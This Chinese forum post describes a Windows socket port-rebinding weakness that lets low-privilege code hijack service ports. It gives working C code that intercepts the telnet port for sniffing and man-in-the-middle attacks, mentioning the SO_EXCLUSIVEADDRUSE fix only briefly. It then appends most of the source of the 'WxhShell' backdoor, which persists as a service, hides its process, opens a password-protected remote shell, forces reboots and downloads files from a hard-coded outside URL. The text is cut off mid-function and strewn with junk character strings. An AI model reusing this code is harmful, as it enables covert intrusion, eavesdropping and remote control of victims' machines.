社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11403阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7V0:^Jov  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w;QDQ fx0  
$E|W|4N  
  saddr.sin_family = AF_INET; #`GW7(M  
5 LX3.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z$G?J+?J  
UF<|1;'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *ILS/`mdav  
q30WUO;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T-&CAD3 ,O  
~N[hY1}X[  
  这意味着什么?意味着可以进行如下的攻击: |k&.1NkZ  
-7ct+3"J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /_,~dt  
6Epns s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =[{Pw8['  
q22cp&gmX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kRiWNEw  
}(E6:h;}~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T<54qe4`p  
a\}|ikiE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e%bER ds  
CR934TE+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w#F+rh3  
|@nvg>mu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e+y< a~N  
jT: :o  
  #include (6+6]`c$  
  #include 8fM}UZI  
  #include 1>%SSQ  
  #include    S$+ v?Y`)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ynz^M{9)K  
  int main() 3!Qt_,  
  { ts;_T..L  
  WORD wVersionRequested; 7gVWu"  
  DWORD ret; )SA$hwR  
  WSADATA wsaData; %hrv~=  
  BOOL val; Qb|w\xT^Y  
  SOCKADDR_IN saddr; $:u,6|QsS=  
  SOCKADDR_IN scaddr; YfMe69/0I  
  int err; hQL9 Zl~  
  SOCKET s; EE}NA{b  
  SOCKET sc; }#'KME4  
  int caddsize; ,;+\!'lS  
  HANDLE mt; 7Wb.(` a<  
  DWORD tid;   lR.a3.~  
  wVersionRequested = MAKEWORD( 2, 2 ); {+xUAmd  
  err = WSAStartup( wVersionRequested, &wsaData ); u~s'<c+8_  
  if ( err != 0 ) { d`~#uN {  
  printf("error!WSAStartup failed!\n"); 1xguG7  
  return -1; !-.-!hBN  
  } f{AgKW9"  
  saddr.sin_family = AF_INET; ,dVCbAS@  
   a|nlmH"l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _9z/>e  
+=k?Dp[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =oQzL  
  saddr.sin_port = htons(23); rG\m]C3E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Czv lZDo  
  { 'R,d?ikY  
  printf("error!socket failed!\n"); ZC2C`S\xr  
  return -1; 6km u'vw  
  } Q`vyDoF  
  val = TRUE; ?>%u[g   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k5/nAaiVE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &us8,x6yg  
  { _5`M( ;hL2  
  printf("error!setsockopt failed!\n"); K&)a3Z=(.  
  return -1; ]#BXaBVMY  
  } ]Rj"/(X,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DGd&x^C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L//sJe  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5ef&Ih.3  
k oHY AF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @\"*Z&]8z0  
  {  g u|;C  
  ret=GetLastError(); _O!D*=I  
  printf("error!bind failed!\n"); >}4]51s  
  return -1; )F~>  
  } [CUJA  
  listen(s,2); ?1N0+OW   
  while(1) y:42H tS  
  { g rfF\_[:  
  caddsize = sizeof(scaddr); .R gfP'M  
  //接受连接请求 gZ+I(o{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mefmoZ  
  if(sc!=INVALID_SOCKET) i;xg[e8.  
  { he+[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9Np0<e3p  
  if(mt==NULL) 6VE >$`m  
  { ##s !-.T  
  printf("Thread Creat Failed!\n"); i3%~Gc63  
  break; ~qqtFjlG^  
  } J.nVEqLZ  
  } xlwsZm{V  
  CloseHandle(mt); /7lkbL  
  } iit`'}+U  
  closesocket(s); =TP>Y"  
  WSACleanup(); [e}]K:  
  return 0; 4O`h%`M  
  }   mCE})S  
  DWORD WINAPI ClientThread(LPVOID lpParam) EmUxM_ T/2  
  { 7q^/.:wlf  
  SOCKET ss = (SOCKET)lpParam; Z~c7r n  
  SOCKET sc; Bjo&  
  unsigned char buf[4096]; 0ay!tS dN  
  SOCKADDR_IN saddr; b?Jm)  
  long num; -$0S#/)Z  
  DWORD val; }2 r08,m  
  DWORD ret; ?Tl@e   
  //如果是隐藏端口应用的话,可以在此处加一些判断 6=g7|}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vJCL m/}*  
  saddr.sin_family = AF_INET; [.Y=~)7FB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ho20> vw#  
  saddr.sin_port = htons(23); = ]@xXVf/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m[bu(qz  
  { V")Q4h{  
  printf("error!socket failed!\n"); c:6w >:  
  return -1; qnS7z%H8  
  } 3> (`Y  
  val = 100; 9@1W=sl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Orb(xLChJ  
  { kp6x6%{K\  
  ret = GetLastError(); K$]QzPXS  
  return -1; zh.c_>jS  
  } IW1\vfe  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QVH_B+ Q  
  { Ck:J  
  ret = GetLastError(); < 5PeI  
  return -1; )aC+qhh  
  } i3"sAr P"|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^0&] .m  
  { C49 G&  
  printf("error!socket connect failed!\n"); 1CM1u+<iZ  
  closesocket(sc); *nc4X9  
  closesocket(ss); d J!o/y6  
  return -1; -Fdi,\e  
  } C IDL{i8  
  while(1) 4eEs_R  
  { bVx]r[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IYO,/ kbf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 CHU'FSq!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 **q/'K  
  num = recv(ss,buf,4096,0); /trc&V  
  if(num>0) h+W^k+~(  
  send(sc,buf,num,0); O9_YVE/-]  
  else if(num==0) )QE_+H}p  
  break; 5oKc=iX_3  
  num = recv(sc,buf,4096,0); GWVdNYpmr  
  if(num>0)  d!t@A  
  send(ss,buf,num,0); (FaT{W{  
  else if(num==0) nKO&ffb'<  
  break; } 8P}L@q  
  } #TgJ d  
  closesocket(ss); [5VUcXGt*\  
  closesocket(sc); @ 7?_Yw  
  return 0 ; )1vojp 4Za  
  } o W[,EW+u  
&rl>{Uvq  
6a?y $+pr  
========================================================== vVW=1(QWI#  
o.5j@ dr  
下边附上一个代码,,WXhSHELL 5);#\&B  
KVR}Tp/R  
========================================================== )^\='(s  
!{Y#<tG]  
#include "stdafx.h" <J)A_Kx[57  
2mUu3fZ  
#include <stdio.h> ay_D.gxz  
#include <string.h> _PM<25Y,@  
#include <windows.h> nnG2z@$-  
#include <winsock2.h> ?6QJP|kE  
#include <winsvc.h> hwzUCh 5!  
#include <urlmon.h> g#4gGhI  
+V@=G &Ou0  
#pragma comment (lib, "Ws2_32.lib") ~Z]vr6?$h  
#pragma comment (lib, "urlmon.lib") VTWE-:r  
`0i3"06lr  
#define MAX_USER   100 // 最大客户端连接数 )DmiN^:  
#define BUF_SOCK   200 // sock buffer i6d$/ yP"  
#define KEY_BUFF   255 // 输入 buffer lX*;KHT)  
swlWe}1  
#define REBOOT     0   // 重启 ,}tdfkZFYl  
#define SHUTDOWN   1   // 关机 o"FiM5L^.  
Zir`IQ$  
#define DEF_PORT   5000 // 监听端口 SR& mHI-f0  
skz]@{38  
#define REG_LEN     16   // 注册表键长度 F}]_/cY7B  
#define SVC_LEN     80   // NT服务名长度 `#rfp 9w  
/6?plt&CA  
// 从dll定义API y!gM)9vq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j7 =3\SO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LJwMM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fnpn_O XlH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t^,Qy.L0  
358/t/4 {p  
// wxhshell配置信息 Pm^N0L9?q  
struct WSCFG { @;fE%N  
  int ws_port;         // 监听端口 xLI{=sL  
  char ws_passstr[REG_LEN]; // 口令 U 0RfovJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no HF: T]n,  
  char ws_regname[REG_LEN]; // 注册表键名 LUNs|\&  
  char ws_svcname[REG_LEN]; // 服务名 Wi?%)hur  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DME?kh>7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <83gn :$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qb4;l\SfT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c@-K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Zd U{`>v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1Wk EPj,  
\83A|+k  
}; \Byk`} 9  
B  bw1k  
// default Wxhshell configuration .w_`d'}  
struct WSCFG wscfg={DEF_PORT, RQCQGa^cP  
    "xuhuanlingzhe", Kk>qgi$  
    1, 5\0.[W{^  
    "Wxhshell", 3DAGW"F  
    "Wxhshell", 6KCmswvE  
            "WxhShell Service", ,/6:bc:W  
    "Wrsky Windows CmdShell Service", (?BgT i\  
    "Please Input Your Password: ", X8 )>}#:  
  1, bH/pa#G(  
  "http://www.wrsky.com/wxhshell.exe", 1?RCJ]e5  
  "Wxhshell.exe" ~H|LWCU)K8  
    }; AC:s4iacC  
ZQ9oZHUm  
// 消息定义模块 _S2^;n?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h ^h-pd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GR ?u?-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U|7Qw|I7  
char *msg_ws_ext="\n\rExit."; '[ g)v  
char *msg_ws_end="\n\rQuit."; 8I\eromG  
char *msg_ws_boot="\n\rReboot..."; As~p1%nok  
char *msg_ws_poff="\n\rShutdown..."; P5}[*k%DQw  
char *msg_ws_down="\n\rSave to "; Q 95  
P%`R7yk  
char *msg_ws_err="\n\rErr!"; 1Bk*G>CX9(  
char *msg_ws_ok="\n\rOK!"; @zynqh  
 g1wI/  
char ExeFile[MAX_PATH]; kbYg4t]FH  
int nUser = 0; L-C/Luws  
HANDLE handles[MAX_USER]; H='9zqYZ<W  
int OsIsNt; GHJ=-9{YL  
6L2*gO:r?  
SERVICE_STATUS       serviceStatus; NhK(HTsvK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !)/iRw9re  
s`iNbW="  
// 函数声明 <W51oO  
int Install(void); c =N]! ,MO  
int Uninstall(void); bEQtVe@`  
int DownloadFile(char *sURL, SOCKET wsh); j]B $(pt  
int Boot(int flag); [Ht."VxR  
void HideProc(void); mu6xL QdA  
int GetOsVer(void); UW/3{2  
int Wxhshell(SOCKET wsl); Ac!&j=ZE  
void TalkWithClient(void *cs); + %#MrNM'  
int CmdShell(SOCKET sock); l?JO8^Nn  
int StartFromService(void); jqGo-C~  
int StartWxhshell(LPSTR lpCmdLine); 4 ?@uF[  
aT1CpY=T|.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _%Jl&0%q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UI<PNQvo9  
n E,gQHw  
// 数据结构和表定义 9j?hF$L"  
SERVICE_TABLE_ENTRY DispatchTable[] = bj7MzlGFy  
{ (: TGev  
{wscfg.ws_svcname, NTServiceMain}, UiK+c30FU  
{NULL, NULL} K"k"ml<4E  
}; ]PzTl {]  
y/}VtD  
// 自我安装 c_z/At;4  
int Install(void) {|5$1v   
{ ?]\W8)  
  char svExeFile[MAX_PATH]; Vr-3M+l=O  
  HKEY key; L`\`NNQC  
  strcpy(svExeFile,ExeFile); UJz4>JF  
Wl !!5\  
// 如果是win9x系统,修改注册表设为自启动 Y!a+#N!  
if(!OsIsNt) { a0?iR5\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t$y&=v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !HR2Rfl  
  RegCloseKey(key); lNaez3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ie2w0Cs28  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |.8d,!5w}  
  RegCloseKey(key); kg?T$}O  
  return 0; 11B{gUv.]  
    } Y-%l7GErhL  
  } A)RI:?+  
} 6t_ 3%{  
else { b>bgUDq  
uq|vNLW26  
// 如果是NT以上系统,安装为系统服务 W. J:.|kt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %89" A'g  
if (schSCManager!=0) !qTpQ5Dm  
{ n~,]KdU]  
  SC_HANDLE schService = CreateService 8tV=fSHd  
  ( EFRZ% Y  
  schSCManager, ~"JE![XR  
  wscfg.ws_svcname, 4aalhy<j  
  wscfg.ws_svcdisp, )l!J$X+R  
  SERVICE_ALL_ACCESS, h{W$ fZc<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y|m_qB^_  
  SERVICE_AUTO_START, (RDa,&  
  SERVICE_ERROR_NORMAL, + 9\:$wMN  
  svExeFile, BP[CR1Gs  
  NULL, "$~}'`(]  
  NULL, W( &Go'9e"  
  NULL, o\@ A2r3  
  NULL, agU%z:M{  
  NULL P&[Ft)`  
  ); :jk)(=^  
  if (schService!=0) mh A~eJ  
  { 'ZGT`'ri  
  CloseServiceHandle(schService); LsJs Q h  
  CloseServiceHandle(schSCManager); d`?U!?Si  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <OR.q  
  strcat(svExeFile,wscfg.ws_svcname); `W"a! ,s2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K2x6R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J.bF v/R  
  RegCloseKey(key); 0<]$v"`I  
  return 0; 7m|`tjQ1  
    } @4 /~~  
  } zj~nnfoys  
  CloseServiceHandle(schSCManager); fqcU5l[v,  
} !paN`Fz\a  
} 9?u9wuH  
i"%JFj_G  
return 1; %uGleY]~  
} wO^$!zB W  
z'?7]C2b  
// 自我卸载 :LZ-da"QR  
int Uninstall(void) saGRP}7?  
{ ( oQ'4,F  
  HKEY key; N{1.g S  
0kU3my]  
if(!OsIsNt) { o,S!RG&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !dfS|BA]  
  RegDeleteValue(key,wscfg.ws_regname); /*u#Ba<<  
  RegCloseKey(key); 8%;}LK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h^o+E2<]  
  RegDeleteValue(key,wscfg.ws_regname); uSABh ^  
  RegCloseKey(key); DC?21[60  
  return 0; V*6l6-y~Ih  
  } l;XU#6{  
} $Cz1C  
} TqS2!/jp  
else { &u+yM D  
u:_sTfKm&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [NHg&R H  
if (schSCManager!=0) [kPD`be2#  
{ QuSV&>T\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &_"ORqn&  
  if (schService!=0) SX1X< 9  
  { o2;(VSKhS  
  if(DeleteService(schService)!=0) { \p5|}<Sr)  
  CloseServiceHandle(schService); zb"rMzCH  
  CloseServiceHandle(schSCManager); gW%pM{PW  
  return 0; ! 9d _Gf-  
  } +<S9E'gT3V  
  CloseServiceHandle(schService); Wc~3^ ;U  
  } &?SX4c~?u  
  CloseServiceHandle(schSCManager); W3 De|V^  
} C:]/8l  
} M:R8<.{  
 7]p>XAb  
return 1; _^_5K(Uq  
} <e;jW K  
dv"as4~%  
// 从指定url下载文件 yOX&cZ[  
int DownloadFile(char *sURL, SOCKET wsh) %9t{Z1$  
{ {I4%   
  HRESULT hr; @)o0GHNP  
char seps[]= "/"; xLA~1ZSVJw  
char *token; nYOY"'z  
char *file; WHp97S'd  
char myURL[MAX_PATH]; LMAmpVo  
char myFILE[MAX_PATH]; 4F}Pu<;  
yt. f!"  
strcpy(myURL,sURL); 9GO}&7   
  token=strtok(myURL,seps); '#O;mBPNi  
  while(token!=NULL) 3Bejp+xX  
  { A/!<kp{S  
    file=token;  ci`zR9Ks  
  token=strtok(NULL,seps); ~ct2`M$TL(  
  } 0z<H(|  
lwVk(l Z  
GetCurrentDirectory(MAX_PATH,myFILE); i*X{^A73"  
strcat(myFILE, "\\"); Y^ QKp"  
strcat(myFILE, file); As0 B\  
  send(wsh,myFILE,strlen(myFILE),0); F7\BF  
send(wsh,"...",3,0); Tak t_N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N5m'To]  
  if(hr==S_OK) (VR" Mi4  
return 0; G;/Q>V  
else YnSbw3U.I  
return 1; 5QAdcEcN@O  
0Y7$d`  
} 5B1G?`]?  
NeHx2m+  
// 系统电源模块 BYS lKTh  
int Boot(int flag) os[ZIHph  
{ L~IE,4  
  HANDLE hToken; H#+\nT2m  
  TOKEN_PRIVILEGES tkp; jk )Vb  
q%>7L<r  
  if(OsIsNt) { @|BD|{k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uG;?vvg>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4:D:| r  
    tkp.PrivilegeCount = 1; b6|Z"{TI _  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &M[MEO`t8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZP-dW|<[ x  
if(flag==REBOOT) { !K[/L< Kv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |8bE9qt.P  
  return 0; 80|onP\L  
} <|a=hHPi:  
else { \^9pW 2v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EJ`Q8uz  
  return 0; :/6()_>bO  
} E4r.ky`#~  
  } I FsE!oDs4  
  else {  r@k"4ce-  
if(flag==REBOOT) { H8&p<=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A;,Dg=FL/  
  return 0; L?8^aG  
} j9:/RJS  
else { qbb6,DL7J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 34z+INkX  
  return 0; sm   
} jJia.#.Ze  
} qz`rL#W]  
ZYa\"zp-  
return 1; G=|70pxU  
} b,Ke>.m  
Nt~x&s  
// win9x进程隐藏模块  MGQ,\55"  
void HideProc(void) Umz05*  
{ y@3Q;~l,  
ePEe?o4;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :m K xa  
  if ( hKernel != NULL ) Me,<\rQ  
  { !MoOKW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X FQNr`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m; o4Fu  
    FreeLibrary(hKernel); ($62o&I  
  } *g_w I%l  
UW6VHA>  
return; 26.)Ur<F  
} e[{mVhg4E  
'w.}2(  
// 获取操作系统版本 ,hWcytzEw  
int GetOsVer(void) =IZ[_ /@  
{ RBE7485  
  OSVERSIONINFO winfo; 4&{!M _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &s8<6P7  
  GetVersionEx(&winfo); #by Jqy&e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?v4E<iXs  
  return 1; K(VW%hV1  
  else =((yWn+t  
  return 0; OPuj|%Wgw  
} OxQYNi2  
6\n?4 8x}  
// 客户端句柄模块 zTY;8r+  
int Wxhshell(SOCKET wsl) mj2Pk,,SA  
{ Y5Z!og  
  SOCKET wsh; #!})3_Qc(y  
  struct sockaddr_in client; ^=+e?F`:{  
  DWORD myID; YJ,*(A18  
(.?ZKL  
  while(nUser<MAX_USER) ^m%52Tm h  
{ w"8V0z  
  int nSize=sizeof(client); ~}Z'0W)Q`z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %(<(Y  
  if(wsh==INVALID_SOCKET) return 1; -bS)=L  
&RO7{,`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '#D8*OP^  
if(handles[nUser]==0) Svw<XJ   
  closesocket(wsh); ((<`zx  
else ()\jCNLT  
  nUser++; 9I .^LZ"  
  } yMxTfR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B!;+_%P76  
-V5w]F'  
  return 0; 68e[:wf  
} [T^?Q%h  
dJD(\a>r.u  
// 关闭 socket OlY$ v@|  
void CloseIt(SOCKET wsh) CU$#0f>  
{ bd== +   
closesocket(wsh); >c~RI7uu  
nUser--; m`}{V5;  
ExitThread(0); xu\eXx6H  
} n]yEdL/1  
ashar&'  
// 客户端请求句柄 x[i`S8D  
void TalkWithClient(void *cs) PeTA$Yl  
{ e2w&&B-  
EzpFOqJG  
  SOCKET wsh=(SOCKET)cs; 5=L} \ankn  
  char pwd[SVC_LEN]; -RMi8{  
  char cmd[KEY_BUFF]; Ef@,hX  
char chr[1]; Ck'aHe22'  
int i,j; cb$-6ZE/  
vFQ,5n;fF  
  while (nUser < MAX_USER) { O0hu qF$K  
iw\%h9  
if(wscfg.ws_passstr) { tFM$#JN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 57Z-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h`Tz5% n  
  //ZeroMemory(pwd,KEY_BUFF); L/Vx~r`P  
      i=0; vH[Pb#f-  
  while(i<SVC_LEN) {  {mTytT  
42+#<U7T  
  // 设置超时 A.En+-[\  
  fd_set FdRead; QDTNx!WL  
  struct timeval TimeOut; Kq)MTlP0g  
  FD_ZERO(&FdRead); ub K7B |p  
  FD_SET(wsh,&FdRead); XP3x Jm3  
  TimeOut.tv_sec=8; p|[B =.c{  
  TimeOut.tv_usec=0; W Zn.;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <1"+,}'x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ig+4S[L~n  
[[+ pMI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +TJ EG?o  
  pwd=chr[0]; GP a`e  
  if(chr[0]==0xd || chr[0]==0xa) { PaWr[ye  
  pwd=0; $`J_:H%  
  break; #07!-)Gv  
  } xDLG=A%]z  
  i++; /+|#^:@  
    } =L]Q2V}  
!{%&=tIZ  
  // 如果是非法用户,关闭 socket !3 qVB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =#xK=pRy;  
} e0HfP v_  
F0lOlS   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F]+~x/!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j/!H$0PN  
q(IQa@$SR  
while(1) { H/fUM  
?cy4&]s  
  ZeroMemory(cmd,KEY_BUFF); @It>*B yB.  
#,NvO!j<4  
      // 自动支持客户端 telnet标准   L.'}e{ldW  
  j=0; h2Bz F  
  while(j<KEY_BUFF) { fV\]L4%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DN] v_u+}  
  cmd[j]=chr[0]; )> a B  
  if(chr[0]==0xa || chr[0]==0xd) { 5&!c7$K0  
  cmd[j]=0; {XCf-{a]~  
  break; 9KuD(EJS  
  } G }nO@  
  j++; t18$x "\4k  
    } `3_lI~=eH  
CH#k(sy  
  // 下载文件 f 2YLk  
  if(strstr(cmd,"http://")) { bBc-^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]9 w76Z  
  if(DownloadFile(cmd,wsh)) $ &UZy|9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z@ 35NZn  
  else [<c&|tfl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~+6Vdx m  
  } *%5{'  
  else { 2f~($}+*  
%;xOB^H^  
    switch(cmd[0]) { ~@W*r5/  
  Kg\R+i@#<  
  // 帮助 K }$&:nao  
  case '?': { 3L5r*fa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U9hS<}<Ki  
    break; ]/X(V|t  
  } p *w$:L  
  // 安装 eD?3"!c!  
  case 'i': { j]rz] k  
    if(Install()) uBrMk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DGESba\2+  
    else  ;q>9W,jy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zCaT tb|@  
    break; XzIx:J6  
    } w?Ju5 5  
  // 卸载 R9+jW'[K  
  case 'r': { V9NTs8LKc  
    if(Uninstall()) k?GD/$1t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iA }vKQ  
    else 5s{j = .O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;]2s,za)qs  
    break; SkQswH  
    } EbNd=Z'J  
  // 显示 wxhshell 所在路径 Dh4 6o|P  
  case 'p': { 8 .>/6M  
    char svExeFile[MAX_PATH]; l`9t}  
    strcpy(svExeFile,"\n\r"); 0#o/^Ah  
      strcat(svExeFile,ExeFile); k(VB+k"3  
        send(wsh,svExeFile,strlen(svExeFile),0); ,5 j"ruZ  
    break; Q,T"ZdQ  
    } O`1!  
  // 重启 w4,Ag{t>  
  case 'b': { o`S ?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OWq'[T4  
    if(Boot(REBOOT)) \c,pEXG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DL^o_61  
    else { _f0C Y"  
    closesocket(wsh); HeGY u?&  
